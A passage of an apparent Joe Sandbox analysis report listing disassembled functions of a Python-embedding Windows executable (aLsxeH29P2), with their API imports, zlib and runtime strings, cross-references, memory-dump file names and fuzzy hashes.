Py_IsInitialized, xrefs: 00007FF7F3DD5931, 00007FF7F3DD5953
Py_DecodeLocale, xrefs: 00007FF7F3DD587F, 00007FF7F3DD58A1
PyObject_GetAttrString, xrefs: 00007FF7F3DD5D53, 00007FF7F3DD5D75
PyConfig_SetWideStringList, xrefs: 00007FF7F3DD5A73, 00007FF7F3DD5A95
PyConfig_SetString, xrefs: 00007FF7F3DD5A45, 00007FF7F3DD5A67
PyObject_CallFunctionObjArgs, xrefs: 00007FF7F3DD5D25, 00007FF7F3DD5D47
PyUnicode_DecodeFSDefault, xrefs: 00007FF7F3DD5F1F, 00007FF7F3DD5F41
PySys_SetObject, xrefs: 00007FF7F3DD5E95, 00007FF7F3DD5EB7
PyPreConfig_InitIsolatedConfig, xrefs: 00007FF7F3DD5DDD, 00007FF7F3DD5DFF
PyErr_Clear, xrefs: 00007FF7F3DD5AA1, 00007FF7F3DD5AC3
Py_DecRef, xrefs: 00007FF7F3DD5836, 00007FF7F3DD5858
PyObject_CallFunction, xrefs: 00007FF7F3DD5CF7, 00007FF7F3DD5D19
PyUnicode_FromFormat, xrefs: 00007FF7F3DD5F4D, 00007FF7F3DD5F6F
Py_ExitStatusException, xrefs: 00007FF7F3DD58AA, 00007FF7F3DD58CC
PyRun_SimpleStringFlags, xrefs: 00007FF7F3DD5E0B, 00007FF7F3DD5E2D
PyImport_ExecCodeModule, xrefs: 00007FF7F3DD5C11, 00007FF7F3DD5C33
PyObject_Str, xrefs: 00007FF7F3DD5DAF, 00007FF7F3DD5DD1
PyImport_ImportModule, xrefs: 00007FF7F3DD5C3F, 00007FF7F3DD5C61
PyImport_AddModule, xrefs: 00007FF7F3DD5BE3, 00007FF7F3DD5C05
PySys_GetObject, xrefs: 00007FF7F3DD5E67, 00007FF7F3DD5E89
PyModule_GetDict, xrefs: 00007FF7F3DD5CC9, 00007FF7F3DD5CEB
GetProcAddress, xrefs: 00007FF7F3DD5868
PyMem_RawFree, xrefs: 00007FF7F3DD5C9B, 00007FF7F3DD5CBD
PyErr_Restore, xrefs: 00007FF7F3DD5B87, 00007FF7F3DD5BA9
PyStatus_Exception, xrefs: 00007FF7F3DD5E39, 00007FF7F3DD5E5B
PyErr_Occurred, xrefs: 00007FF7F3DD5B2B, 00007FF7F3DD5B4D
Failed to get address for %hs, xrefs: 00007FF7F3DD5861
Py_InitializeFromConfig, xrefs: 00007FF7F3DD5903, 00007FF7F3DD5925
PyErr_Fetch, xrefs: 00007FF7F3DD5ACF, 00007FF7F3DD5AF1
PyObject_SetAttrString, xrefs: 00007FF7F3DD5D81, 00007FF7F3DD5DA3
PyEval_EvalCode, xrefs: 00007FF7F3DD5BB5, 00007FF7F3DD5BD7
PyUnicode_AsUTF8, xrefs: 00007FF7F3DD5EC3, 00007FF7F3DD5EE5
PyConfig_Clear, xrefs: 00007FF7F3DD598D, 00007FF7F3DD59AF
Py_Finalize, xrefs: 00007FF7F3DD58D5, 00007FF7F3DD58F7
PyUnicode_Decode, xrefs: 00007FF7F3DD5EF1, 00007FF7F3DD5F13
PyConfig_InitIsolatedConfig, xrefs: 00007FF7F3DD59BB, 00007FF7F3DD59DD
PyConfig_Read, xrefs: 00007FF7F3DD59E9, 00007FF7F3DD5A0B
PyErr_Print, xrefs: 00007FF7F3DD5B59, 00007FF7F3DD5B7B

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: AddressErrorLastProc
String ID: Failed to get address for %hs$GetProcAddress$PyConfig_Clear$PyConfig_InitIsolatedConfig$PyConfig_Read$PyConfig_SetBytesString$PyConfig_SetString$PyConfig_SetWideStringList$PyErr_Clear$PyErr_Fetch$PyErr_NormalizeException$PyErr_Occurred$PyErr_Print$PyErr_Restore$PyEval_EvalCode$PyImport_AddModule$PyImport_ExecCodeModule$PyImport_ImportModule$PyMarshal_ReadObjectFromString$PyMem_RawFree$PyModule_GetDict$PyObject_CallFunction$PyObject_CallFunctionObjArgs$PyObject_GetAttrString$PyObject_SetAttrString$PyObject_Str$PyPreConfig_InitIsolatedConfig$PyRun_SimpleStringFlags$PyStatus_Exception$PySys_GetObject$PySys_SetObject$PyUnicode_AsUTF8$PyUnicode_Decode$PyUnicode_DecodeFSDefault$PyUnicode_FromFormat$PyUnicode_FromString$PyUnicode_Join$PyUnicode_Replace$Py_DecRef$Py_DecodeLocale$Py_ExitStatusException$Py_Finalize$Py_InitializeFromConfig$Py_IsInitialized$Py_PreInitialize
API String ID: 199729137-653951865
Opcode ID: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction ID: 0de6f68d3225384e993f8530148b715efc1bdc2936629a268c8503234246543b
Opcode Fuzzy Hash: a72b1b0889ffc37889110ad0e4f068dcb4eb8b0bbe2e77bf2d8672c26fae6e03
Instruction Fuzzy Hash: B322AC6490EB0B91FBD5BBE5B890574B361AF05795FC41035D83E2A2D8EF3CB16892E0

Function 00007FF7F3DF40AC Relevance: 24.0, APIs: 9, Strings: 4, Instructions: 1226COMMON

Download Yara Rule

APIs

fegetenv.LIBCMT ref: 00007FF7F3DF40FA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF4766
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF48DC
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF4B9A
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF4DBA
_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF4FF7
memcpy_s.LIBCPMT ref: 00007FF7F3DF50D2
memcpy_s.LIBCPMT ref: 00007FF7F3DF517D
memcpy_s.LIBCPMT ref: 00007FF7F3DF524C

Strings

1#QNAN, xrefs: 00007FF7F3DF4213
1#SNAN, xrefs: 00007FF7F3DF420A
1#IND, xrefs: 00007FF7F3DF41E7
1#INF, xrefs: 00007FF7F3DF4223

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _invalid_parameter_noinfo$memcpy_s$fegetenv
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 808467561-2761157908
Opcode ID: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction ID: 780b6cf53771bb597d6389d0adc5754d3a403e81600ac74437f3c6d6ac4647bd
Opcode Fuzzy Hash: 7da0388417e7c773b0aab48e07e342724827a26e5879d16e5decf6c79e081c8c
Instruction Fuzzy Hash: 34B2B772E182824BE7A59EB4D4807FDB7B1FB54348F905135DA3D6BAC8DB38A500CB90

Function 00007FF7F3DD83C0 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 89fileCOMMON

Download Yara Rule

APIs

FindFirstFileW.KERNEL32(?,00007FF7F3DD8919,00007FF7F3DD3F9D), ref: 00007FF7F3DD842B
RemoveDirectoryW.KERNEL32(?,00007FF7F3DD8919,00007FF7F3DD3F9D), ref: 00007FF7F3DD84AE
DeleteFileW.KERNEL32(?,00007FF7F3DD8919,00007FF7F3DD3F9D), ref: 00007FF7F3DD84CD
FindNextFileW.KERNEL32(?,00007FF7F3DD8919,00007FF7F3DD3F9D), ref: 00007FF7F3DD84DB
FindClose.KERNEL32(?,00007FF7F3DD8919,00007FF7F3DD3F9D), ref: 00007FF7F3DD84EC
RemoveDirectoryW.KERNEL32(?,00007FF7F3DD8919,00007FF7F3DD3F9D), ref: 00007FF7F3DD84F5

Strings

%s\*, xrefs: 00007FF7F3DD83F2

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: FileFind$DirectoryRemove$CloseDeleteFirstNext
String ID: %s\*
API String ID: 1057558799-766152087
Opcode ID: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction ID: d104ce573da2afe3cc8f65e3ca4dda28ce192aa84e5df8c9beee24b0e23e353d
Opcode Fuzzy Hash: 9215641a051a597ab69d89bbe09b444c24fb25eba6eed844fe9e008ab190e420
Instruction Fuzzy Hash: 57415521A0C54285EBA1BBB4E4941FAB361FB94754FC00231D97E6B7D8DF3CE5498790

Function 00007FF7F3DDACAD Relevance: 12.0, Strings: 9, Instructions: 744COMMON

Download Yara Rule

Strings

invalid bit length repeat, xrefs: 00007FF7F3DDB099
invalid literal/length code, xrefs: 00007FF7F3DDB3E2
invalid distance code, xrefs: 00007FF7F3DDB5B4
too many length or distance symbols, xrefs: 00007FF7F3DDAE46
invalid distances set, xrefs: 00007FF7F3DDB1A0
invalid code lengths set, xrefs: 00007FF7F3DDAE2D
invalid literal/lengths set, xrefs: 00007FF7F3DDB133
invalid code -- missing end-of-block, xrefs: 00007FF7F3DDB0C6
invalid distance too far back, xrefs: 00007FF7F3DDB670

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID: invalid bit length repeat$invalid code -- missing end-of-block$invalid code lengths set$invalid distance code$invalid distance too far back$invalid distances set$invalid literal/length code$invalid literal/lengths set$too many length or distance symbols
API String ID: 0-2665694366
Opcode ID: 14409f6b5173d9f28888b9fb9c68bcc2b54b8e7def706e6c40ef53002486e1ba
Instruction ID: ee0a07d1a990cd9b53e6c6a81cbfb5da2d1737dafaf08342e144390a14a0f465
Opcode Fuzzy Hash: 14409f6b5173d9f28888b9fb9c68bcc2b54b8e7def706e6c40ef53002486e1ba
Instruction Fuzzy Hash: E3522972A146A64BD7E89F64C458B7D7BADFB44344F818139EA5A9B7C0DB3CD800CB90

Function 00007FF7F3DDD12C Relevance: 10.6, APIs: 7, Instructions: 71COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32 ref: 00007FF7F3DDD148
RtlCaptureContext.KERNEL32 ref: 00007FF7F3DDD175
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7F3DDD18F
RtlVirtualUnwind.KERNEL32 ref: 00007FF7F3DDD1D0
IsDebuggerPresent.KERNEL32 ref: 00007FF7F3DDD224
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7F3DDD241
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7F3DDD24C

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$CaptureContextDebuggerEntryFeatureFunctionLookupProcessorUnwindVirtual
String ID:
API String ID: 3140674995-0
Opcode ID: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction ID: f02e511d704974825d1110e40f2446076dbc38835b2a37fc8baf5b5eafcf440e
Opcode Fuzzy Hash: 357b26123f7cc0566be18cabbec560c6351d8abd4e8582c9dfa9d4018571b442
Instruction Fuzzy Hash: AC314572609B8186EBA09FA0E8807ED7364FB85748F444039DA5D5BBD9DF3CD648C760

Function 00007FF7F3DF5C00 Relevance: 9.3, APIs: 6, Instructions: 334timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7F3DF5C45

Part of subcall function 00007FF7F3DF5598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF55AC

Part of subcall function 00007FF7F3DEA948: RtlFreeHeap.NTDLL(?,?,?,00007FF7F3DF2D22,?,?,?,00007FF7F3DF2D5F,?,?,00000000,00007FF7F3DF3225,?,?,?,00007FF7F3DF3157), ref: 00007FF7F3DEA95E
Part of subcall function 00007FF7F3DEA948: GetLastError.KERNEL32(?,?,?,00007FF7F3DF2D22,?,?,?,00007FF7F3DF2D5F,?,?,00000000,00007FF7F3DF3225,?,?,?,00007FF7F3DF3157), ref: 00007FF7F3DEA968

Part of subcall function 00007FF7F3DEA900: IsProcessorFeaturePresent.KERNEL32(?,?,?,?,00007FF7F3DEA8DF,?,?,?,?,?,00007FF7F3DEA7CA), ref: 00007FF7F3DEA909
Part of subcall function 00007FF7F3DEA900: GetCurrentProcess.KERNEL32(?,?,?,?,00007FF7F3DEA8DF,?,?,?,?,?,00007FF7F3DEA7CA), ref: 00007FF7F3DEA92E

_get_daylight.LIBCMT ref: 00007FF7F3DF5C34

Part of subcall function 00007FF7F3DF55F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF560C

_get_daylight.LIBCMT ref: 00007FF7F3DF5EAA
_get_daylight.LIBCMT ref: 00007FF7F3DF5EBB
_get_daylight.LIBCMT ref: 00007FF7F3DF5ECC
GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7F3DF610C), ref: 00007FF7F3DF5EF3

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _get_daylight$_invalid_parameter_noinfo$CurrentErrorFeatureFreeHeapInformationLastPresentProcessProcessorTimeZone
String ID:
API String ID: 4070488512-0
Opcode ID: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction ID: ce22389b0d4238fabec1117b19ec90c686226e4584af794b52388409d4679bd6
Opcode Fuzzy Hash: c8e181fbda5929fcc8f6a75e148055e791a7ddaa32984997676ab034941af52a
Instruction Fuzzy Hash: C4D1D322A0824646E7A4BF71D8801B9E752EF94794FC48135EA3E6F7D9DF3CE44187A0

Function 00007FF7F3DEA614 Relevance: 9.1, APIs: 6, Instructions: 83COMMONLIBRARYCODE

Download Yara Rule

APIs

RtlCaptureContext.KERNEL32 ref: 00007FF7F3DEA68D
RtlLookupFunctionEntry.KERNEL32 ref: 00007FF7F3DEA6A5
RtlVirtualUnwind.KERNEL32 ref: 00007FF7F3DEA6E0
IsDebuggerPresent.KERNEL32 ref: 00007FF7F3DEA719
SetUnhandledExceptionFilter.KERNEL32 ref: 00007FF7F3DEA723
UnhandledExceptionFilter.KERNEL32 ref: 00007FF7F3DEA72E

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: ExceptionFilterUnhandled$CaptureContextDebuggerEntryFunctionLookupPresentUnwindVirtual
String ID:
API String ID: 1239891234-0
Opcode ID: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction ID: d277a1c71338f8291452321b88f62b3e03fdd158b2b04791860cff91d12c42ab
Opcode Fuzzy Hash: ae2d74aaff6e8c1310ec24f87c3395aa5518f909cdba62f6f822c67f0a9cc142
Instruction Fuzzy Hash: 21319432608F8285DBA4DF74E8802AEB7A4FB85758F900135EAAD57B99DF3CC145CB50

Function 00007FF7F3DF1874 Relevance: 7.8, APIs: 5, Instructions: 282COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF18C0
FindFirstFileExW.KERNEL32 ref: 00007FF7F3DF19CA

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: FileFindFirst_invalid_parameter_noinfo
String ID:
API String ID: 2227656907-0
Opcode ID: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction ID: 9d6aa7df9ac7cfe7ce49a40c7a8e33845df1d62af64414c4ce23ecc254a164ac
Opcode Fuzzy Hash: ee5daded1920a45b930385d49f4c9fb7106de6f00b6358014c2482279c1420ad
Instruction Fuzzy Hash: 36B1C762B1869241EBA5ABB195401B9E354FB45BE4FC44231ED7D2FBC9DF3CE4418390

Function 00007FF7F3DF5E7C Relevance: 6.1, APIs: 4, Instructions: 143timeCOMMON

Download Yara Rule

APIs

_get_daylight.LIBCMT ref: 00007FF7F3DF5EAA

Part of subcall function 00007FF7F3DF55F8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF560C

_get_daylight.LIBCMT ref: 00007FF7F3DF5EBB

Part of subcall function 00007FF7F3DF5598: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF55AC

_get_daylight.LIBCMT ref: 00007FF7F3DF5ECC

Part of subcall function 00007FF7F3DF55C8: _invalid_parameter_noinfo.LIBCMT ref: 00007FF7F3DF55DC

Part of subcall function 00007FF7F3DEA948: RtlFreeHeap.NTDLL(?,?,?,00007FF7F3DF2D22,?,?,?,00007FF7F3DF2D5F,?,?,00000000,00007FF7F3DF3225,?,?,?,00007FF7F3DF3157), ref: 00007FF7F3DEA95E
Part of subcall function 00007FF7F3DEA948: GetLastError.KERNEL32(?,?,?,00007FF7F3DF2D22,?,?,?,00007FF7F3DF2D5F,?,?,00000000,00007FF7F3DF3225,?,?,?,00007FF7F3DF3157), ref: 00007FF7F3DEA968

GetTimeZoneInformation.KERNEL32(?,?,?,?,?,?,?,?,?,00000000,?,00007FF7F3DF610C), ref: 00007FF7F3DF5EF3

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: _get_daylight_invalid_parameter_noinfo$ErrorFreeHeapInformationLastTimeZone
String ID:
API String ID: 3458911817-0
Opcode ID: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction ID: 5a6dba40920c9645f2ea863ef8199061851d97349b4016abef8d2f7b12cae3e4
Opcode Fuzzy Hash: 6f2171165b001c2744b9d494c76d2a7753c36df5ed5d67f3075860c83c0dbe14
Instruction Fuzzy Hash: 1A518022A0864246E790FF71D8C11A9E761BF58794FC44135EA7E6B7D9DF3CE44087A0

Function 00007FF7F3DDD010 Relevance: 6.0, APIs: 4, Instructions: 39timethreadCOMMON

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32 ref: 00007FF7F3DDD03C
GetCurrentThreadId.KERNEL32 ref: 00007FF7F3DDD04A
GetCurrentProcessId.KERNEL32 ref: 00007FF7F3DDD056
QueryPerformanceCounter.KERNEL32 ref: 00007FF7F3DDD066

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction ID: 8f1adda0f54d874580e69400943d2f0805d526555979edf3dc9f5d6e720c79c3
Opcode Fuzzy Hash: 884c9866f0db1ea4ea3e8c559fd458021c8c8106c035f87ab540984eb8a2d97e
Instruction Fuzzy Hash: FD118F22B14F0589EB409B70E8442B873A0FB48718F440E31DE7D5A7A4DF38D1548390

Function 00007FF7F3DF3C10 Relevance: 4.8, APIs: 3, Instructions: 340COMMON

Download Yara Rule

APIs

memcpy_s.LIBCPMT ref: 00007FF7F3DF3C76
memcpy_s.LIBCPMT ref: 00007FF7F3DF3CA1

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID: memcpy_s
String ID:
API String ID: 1502251526-0
Opcode ID: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction ID: 02afd5c82c8c365ad6604708941f99c5fe5b09a083af3dc0674c507c30ee4473
Opcode Fuzzy Hash: 723df14fe8405c9280d13974b9e0b256372cd2939c4def8ecbac686ef57d643c
Instruction Fuzzy Hash: 27C12C72B1828587D764DF65E084669F7A1FB84788F858134DB6E5B7C8DB3DE801CB80

Function 00007FF7F3DDA47B Relevance: 4.1, Strings: 3, Instructions: 397COMMON

Download Yara Rule

Strings

unknown header flags set, xrefs: 00007FF7F3DDA4C5
header crc mismatch, xrefs: 00007FF7F3DDA921
, xrefs: 00007FF7F3DDA55B

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973781734.00007FF7F3E14000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff7f3dd0000_aLsxeH29P2.jbxd

Similarity

API ID:
String ID: $header crc mismatch$unknown header flags set
API String ID: 0-1127688429
Opcode ID: e32b299fc273864699ec3bddfbf8fc958dab4a7742ffdf8f0166f3b43fcc42d1
Instruction ID: 1ef53597ee346b96bfca5b5287e48f462a2686bccbb7526e4e55ddec3af06736
Opcode Fuzzy Hash: e32b299fc273864699ec3bddfbf8fc958dab4a7742ffdf8f0166f3b43fcc42d1
Instruction Fuzzy Hash: F0F1A672A147D58BE7E9AF54C088B3ABAA9EF44744F468138DE5D2B3D0CB38D541C790

Function 00007FF7F3DF9728 Relevance: 3.2, APIs: 2, Instructions: 227COMMONLIBRARYCODE

Download Yara Rule

APIs

_clrfp.LIBCMT ref: 00007FF7F3DF9977
RaiseException.KERNEL32 ref: 00007FF7F3DF9988

Memory Dump Source

Source File: 00000000.00000002.2973687343.00007FF7F3DD1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF7F3DD0000, based on PE: true

Associated: 00000000.00000002.2973667105.00007FF7F3DD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973717073.00007FF7F3DFB000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E0E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2973742478.00007FF7F3E12000.00000004.00000001.01000000.00000003.sdmpDownload File
